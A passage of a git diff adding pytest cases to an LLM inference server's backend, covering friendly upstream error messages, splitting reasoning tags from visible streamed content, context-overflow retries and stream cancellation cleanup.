+    # The serialized payload must not leak the absolute path or the .gguf suffix.
+    blob = json.dumps(objs)
+    assert "/srv/models" not in blob
+    assert ".gguf" not in blob
+    # Context fields still flow through.
+    assert objs[0]["context_length"] == 4096
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index 2586076321..05e017ba7f 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -40,6 +40,7 @@ from routes.inference import (
     _effective_max_tokens,
     _extract_content_parts,
     _friendly_error,
+    _friendly_upstream_error,
     _merge_user_content,
     _monitor_openai_chunk,
     _monitor_openai_sse_event,
@@ -48,6 +49,7 @@ from routes.inference import (
     _openai_passthrough_stream,
     _openai_stream_usage_chunk,
     _proxy_to_external_provider,
+    _SameTaskStreamingResponse,
     _set_or_prepend_system_message,
     openai_completions,
     openai_embeddings,
@@ -56,6 +58,32 @@ from routes.inference import (
 from state.tool_policy import reset_tool_policy
 
 
+class TestFriendlyUpstreamError:
+    def test_grammar_parse_failure_gets_actionable_message(self):
+        raw = '{"error":{"code":400,"message":"Failed to initialize samplers: failed to parse grammar","type":"invalid_request_error"}}'
+        msg = _friendly_upstream_error(raw)
+        assert "failed to parse grammar" not in msg  # raw body is not surfaced verbatim
+        assert "tool-calling grammar" in msg and "Update Studio" in msg
+
+    def test_failed_to_initialize_samplers_alone_matches(self):
+        assert "tool-calling grammar" in _friendly_upstream_error("Failed to initialize samplers")
+
+    def test_unrelated_error_passes_through(self):
+        assert _friendly_upstream_error("out of memory") == "llama-server error: out of memory"
+
+    def test_openai_passthrough_error_rewrites_grammar_failure(self):
+        # OpenAI-compatible agents (opencode/openclaw/hermes/pi via /v1/chat/completions)
+        # get the same actionable message as the Anthropic passthrough, not the raw body.
+        from routes.inference import _openai_passthrough_error
+
+        exc = _openai_passthrough_error(
+            400, '{"error":{"message":"Failed to initialize samplers: failed to parse grammar"}}'
+        )
+        assert "tool-calling grammar" in exc.detail
+        # An unrelated upstream error still passes through verbatim.
+        assert "llama-server error:" in _openai_passthrough_error(500, "disk full").detail
+
+
 # =====================================================================
 # ChatMessage — tool role, tool_calls, optional content
 # =====================================================================
@@ -1245,6 +1273,79 @@ class TestGgufVisionToolRouting:
 
         return TestGgufVisionToolRouting._drive(_consume())
 
+    @staticmethod
+    def _sse_payloads(chunks):
+        payloads = []
+        for chunk in chunks:
+            if isinstance(chunk, bytes):
+                chunk = chunk.decode()
+            for line in str(chunk).splitlines():
+                if not line.startswith("data: "):
+                    continue
+                data = line.removeprefix("data: ")
+                if data == "[DONE]":
+                    continue
+                try:
+                    payloads.append(json.loads(data))
+                except json.JSONDecodeError:
+                    pass
+        return payloads
+
+    def _run_gguf_case(
+        self,
+        monkeypatch,
+        *,
+        generate = None,
+        tool_generate = None,
+        payload_kwargs = None,
+        backend_kwargs = None,
+    ):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        backend_data = {
+            "is_loaded": True,
+            "is_vision": False,
+            "supports_tools": tool_generate is not None,
+            "supports_reasoning": True,
+            "reasoning_always_on": True,
+            "_is_audio": False,
+            "model_identifier": "test-gguf",
+            "context_length": 4096,
+            "generate_chat_completion": generate or _plain,
+        }
+        if tool_generate is not None:
+            backend_data["generate_chat_completion_with_tools"] = tool_generate
+        if backend_kwargs:
+            backend_data.update(backend_kwargs)
+        backend = SimpleNamespace(**backend_data)
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+        request_data = {
+            "model": "default",
+            "messages": [{"role": "user", "content": "hi"}],
+        }
+        if payload_kwargs:
+            request_data.update(payload_kwargs)
+        payload = ChatCompletionRequest(**request_data)
+        response = self._drive(
+            openai_chat_completions(payload, request = self._Request(), current_subject = "test")
+        )
+        result = SimpleNamespace(response = response, monitor = monitor, backend = backend)
+        if request_data.get("stream"):
+            result.chunks = self._consume_response(response)
+            result.payloads = self._sse_payloads(result.chunks)
+        else:
+            result.body = json.loads(response.body)
+        return result
+
     def test_image_request_with_enabled_tools_enters_gguf_tool_loop(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -1275,6 +1376,7 @@ class TestGgufVisionToolRouting:
             model = "default",
             enable_tools = True,
             enabled_tools = ["web_search"],
+            stream = True,
             messages = [
                 {
                     "role": "user",
@@ -1334,6 +1436,7 @@ class TestGgufVisionToolRouting:
             enable_tools = True,
             enabled_tools = ["web_search"],
             parallel_tool_calls = False,
+            stream = True,
             messages = [{"role": "user", "content": "search once"}],
         )
 
@@ -1390,6 +1493,152 @@ class TestGgufVisionToolRouting:
         assert "confirm_tool_calls requires stream=true" in entry["error"]
         assert monitor.active_count() == 0
 
+    def test_standard_gguf_stream_splits_reasoning_content(self, monkeypatch):
+        def _generate(**_kwargs):
+            yield "<thi"
+            yield "<think>plan"
+            yield "<think>plan</think>vis"
+            yield "<think>plan</think>visible"
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            generate = _generate,
+            payload_kwargs = {"stream": True},
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan"
+        assert "".join(d.get("content", "") for d in deltas) == "visible"
+        assert all("<think>" not in d.get("content", "") for d in deltas)
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible"
+
+    def test_reasoning_capable_gguf_stream_splits_reasoning_by_default(self, monkeypatch):
+        def _generate(**_kwargs):
+            yield "<think>plan</think>visible"
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            generate = _generate,
+            payload_kwargs = {"stream": True},
+            backend_kwargs = {"reasoning_always_on": False},
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan"
+        assert "".join(d.get("content", "") for d in deltas) == "visible"
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible"
+
+    def test_reasoning_capable_gguf_stream_sanitizes_think_tags_when_disabled(self, monkeypatch):
+        def _generate(**_kwargs):
+            yield "<think>leaked</think>visible"
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            generate = _generate,
+            payload_kwargs = {"stream": True, "enable_thinking": False},
+            backend_kwargs = {"reasoning_always_on": False},
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        assert "".join(d.get("reasoning_content", "") for d in deltas) == "leaked"
+        assert "".join(d.get("content", "") for d in deltas) == "visible"
+        assert all("<think>" not in d.get("content", "") for d in deltas)
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible"
+
+    def test_gguf_tool_stream_splits_reasoning_and_strips_gemma_tool_marker(self, monkeypatch):
+        def _tools(**_kwargs):
+            yield {
+                "type": "content",
+                "text": '<think>plan</think>visible <|tool_call>call:terminal{command:"ls"}<tool_call|>',
+            }
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            tool_generate = _tools,
+            payload_kwargs = {
+                "stream": True,
+                "enable_tools": True,
+                "enabled_tools": ["terminal"],
+                "messages": [{"role": "user", "content": "list files"}],
+            },
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan"
+        combined_content = "".join(d.get("content", "") for d in deltas)
+        assert combined_content == "visible "
+        assert "<|tool_call>" not in combined_content
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible "
+
+    def test_gguf_tool_stream_flushes_held_text_before_status_reset(self, monkeypatch):
+        def _tools(**_kwargs):
+            yield {"type": "content", "text": "answer <"}
+            yield {"type": "status", "text": ""}
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            tool_generate = _tools,
+            payload_kwargs = {
+                "stream": True,
+                "enable_tools": True,
+                "enabled_tools": ["terminal"],
+                "messages": [{"role": "user", "content": "say literal"}],
+            },
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        combined_content = "".join(d.get("content", "") for d in deltas)
+        assert combined_content == "answer <"
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "answer <"
+
+    def test_non_streaming_gguf_splits_reasoning_content(self, monkeypatch):
+        def _generate(**_kwargs):
+            yield "<think>plan</think>visible"
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(monkeypatch, generate = _generate)
+        body = result.body
+        message = body["choices"][0]["message"]
+
+        assert message["content"] == "visible"
+        assert message["reasoning_content"] == "plan"
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible"
+
     def test_non_streaming_gguf_n_records_all_monitor_replies(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -1552,6 +1801,608 @@ class TestApiMonitorProviderAndCompletionStreams:
         async def is_disconnected(self):
             return False
 
+    async def _run_passthrough_stream(self, monkeypatch, lines):
+        import routes.inference as inf_mod
+
+        class Request:
+            async def is_disconnected(self):
+                return False
+
+        async def fake_send(*_args, **_kwargs):
+            return httpx.Response(200, content = b"")
+
+        async def fake_items(*_args, **_kwargs):
+            for line in lines:
+                yield line
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+        monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+        monitor_id = monitor.start(
+            endpoint = "/v1/chat/completions",
+            method = "POST",
+            model = "gguf",
+            prompt = "hi",
+        )
+        payload = ChatCompletionRequest(
+            model = "default",
+            messages = [ChatMessage(role = "user", content = "hi")],
+            stream = True,
+            tools = [
+                {
+                    "type": "function",
+                    "function": {
+                        "name": "lookup",
+                        "parameters": {"type": "object", "properties": {}},
+                    },
+                }
+            ],
+        )
+
+        response = await _openai_passthrough_stream(
+            Request(),
+            threading.Event(),
+            SimpleNamespace(
+                base_url = "http://llama.test",
+                context_length = 4096,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            ),
+            payload,
+            "gguf",
+            "chatcmpl-test",
+            monitor_id = monitor_id,
+        )
+        chunks = [chunk async for chunk in response.body_iterator]
+        return SimpleNamespace(chunks = chunks, body = "".join(chunks), monitor = monitor)
+
+    def test_passthrough_stream_preheader_dispatched_with_timeout(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            assert "data: [DONE]\n\n" in "".join(chunks)
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(400, content = b'{"error":"bad"}')
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            with pytest.raises(HTTPException) as exc:
+                await _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+            assert exc.value.status_code == 400
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_request_error_in_window(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_send(*_args, **_kwargs):
+                raise httpx.ConnectError("connectivity issue")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            with pytest.raises(HTTPException) as exc:
+                await _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+            assert exc.value.status_code == 502
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_non_200_returns_sse_error(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(400, content = b'{"error":"bad"}')
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            assert "data:" in body
+            assert '"error"' in body
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "bad" in entry["error"]
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_context_error_keeps_error_envelope(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)"
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(400, content = ctx_msg.encode("utf-8"))
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 2048,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            payload = json.loads(body.removeprefix("data: ").strip())
+            assert payload["error"]["code"] == "context_length_exceeded"
+            assert payload["error"]["param"] == "messages"
+            assert isinstance(payload["error"], dict)
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_context_error_retries_truncation(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            calls = []
+            err_body = json.dumps(
+                {
+                    "error": {
+                        "message": "request (10000 tokens) exceeds the available context size (2048 tokens)",
+                        "n_prompt_tokens": 10000,
+                        "n_ctx": 2048,
+                    }
+                }
+            ).encode("utf-8")
+
+            async def fake_send(_client, req, *_args, **_kwargs):
+                calls.append(json.loads(req.content.decode("utf-8")))
+                if len(calls) == 1:
+                    await gate.wait()
+                    return httpx.Response(400, content = err_body)
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            messages = [
+                ChatMessage(role = "system", content = "system"),
+                *[
+                    ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000))
+                    for idx in range(8)
+                ],
+            ]
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = messages,
+                stream = True,
+                context_overflow = "truncate_middle",
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 2048,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            assert "data: [DONE]\n\n" in "".join(chunks)
+            assert len(calls) == 2
+            assert len(calls[1]["messages"]) < len(calls[0]["messages"])
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            cancel_id = "delayed-request-error-cancel"
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                raise httpx.ConnectError("delayed connectivity issue")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            assert "data:" in body
+            assert '"error"' in body
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "Lost connection" in entry["error"]
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_cancel_cleans_pending_send(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            entered = asyncio.Event()
+            cancelled = asyncio.Event()
+            cancel_id = "preheader-cancel-cleanup"
+
+            async def fake_send(*_args, **_kwargs):
+                entered.set()
+                try:
+                    await asyncio.Event().wait()
+                except asyncio.CancelledError:
+                    cancelled.set()
+                    raise
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            task = asyncio.create_task(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+            )
+            await asyncio.wait_for(entered.wait(), timeout = 5.0)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await task
+            await asyncio.wait_for(cancelled.wait(), timeout = 5.0)
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_unstarted_cleanup_closes_completed_send_response(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            returned = asyncio.Event()
+            cancel_id = "unstarted-completed-send-cleanup"
+
+            class Stream(httpx.AsyncByteStream):
+                async def __aiter__(self):
+                    if False:
+                        yield b""
+
+            stream = Stream()
+            upstream_response = httpx.Response(200, stream = stream)
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                returned.set()
+                return upstream_response
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+            gate.set()
+            await asyncio.wait_for(returned.wait(), timeout = 5.0)
+            await asyncio.sleep(0)
+            await response._unstarted_cleanup()
+            assert upstream_response.is_closed
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
     def test_external_non_streaming_json_updates_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -1980,6 +2831,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                 "chatcmpl-test",
                 monitor_id = monitor_id,
             )
+            assert isinstance(response, _SameTaskStreamingResponse)
             iterator = response.body_iterator
             first = await anext(iterator)
             assert "hello" in first
@@ -1997,6 +2849,88 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_stream_synthesizes_missing_finish_reason(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                [
+                    (
+                        'data: {"id":"upstream","created":123,"model":"gguf",'
+                        '"choices":[{"index":0,"delta":{"content":"hello"}}]}'
+                    ),
+                    "data: [DONE]",
+                ],
+            )
+            body = result.body
+
+            assert '"finish_reason":"stop"' in body.replace(" ", "")
+            assert "data: [DONE]" in body
+            assert result.monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_synthesizes_tool_call_finish_reason(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                [
+                    (
+                        'data: {"id":"upstream","created":123,"model":"gguf",'
+                        '"choices":[{"index":0,"delta":{"tool_calls":[{"index":0,'
+                        '"id":"call_1","type":"function","function":{"name":"lookup",'
+                        '"arguments":"{}"}}]}}]}'
+                    ),
+                    "data: [DONE]",
+                ],
+            )
+            compact = result.body.replace(" ", "")
+
+            assert '"finish_reason":"tool_calls"' in compact
+            assert '"finish_reason":"stop"' not in compact
+            assert "data: [DONE]" in result.body
+            assert result.monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_error_done_skips_synthetic_finish_reason(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                [
+                    'data: {"error":{"message":"boom","type":"server_error"}}',
+                    "data: [DONE]",
+                ],
+            )
+            compact = result.body.replace(" ", "")
+
+            assert '"error":{"message":"boom","type":"server_error"}' in compact
+            assert '"finish_reason"' not in compact
+            assert "data: [DONE]" in result.body
+            [entry] = result.monitor.snapshot()
+            assert entry["status"] == "error"
+            assert entry["error"] == "boom"
+            assert result.monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_error_eof_skips_synthetic_finish_reason(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                ['data: {"error":{"message":"boom","type":"server_error"}}'],
+            )
+            compact = result.body.replace(" ", "")
+
+            assert '"error":{"message":"boom","type":"server_error"}' in compact
+            assert '"finish_reason"' not in compact
+            assert "data: [DONE]" not in result.body
+            [entry] = result.monitor.snapshot()
+            assert entry["status"] == "error"
+            assert entry["error"] == "boom"
+            assert result.monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_passthrough_non_streaming_cancel_finalizes_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2058,65 +2992,20 @@ class TestApiMonitorProviderAndCompletionStreams:
 
     def test_passthrough_clean_eof_finalizes_monitor(self, monkeypatch):
         async def _run():
-            import routes.inference as inf_mod
-
-            class Request:
-                async def is_disconnected(self):
-                    return False
-
-            async def fake_send(*_args, **_kwargs):
-                return httpx.Response(200, content = b"")
-
-            async def fake_items(*_args, **_kwargs):
-                yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
-
-            monitor = ApiMonitor(max_entries = 3)
-            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
-            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
-            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
-            monitor_id = monitor.start(
-                endpoint = "/v1/chat/completions",
-                method = "POST",
-                model = "gguf",
-                prompt = "hi",
-            )
-            payload = ChatCompletionRequest(
-                model = "default",
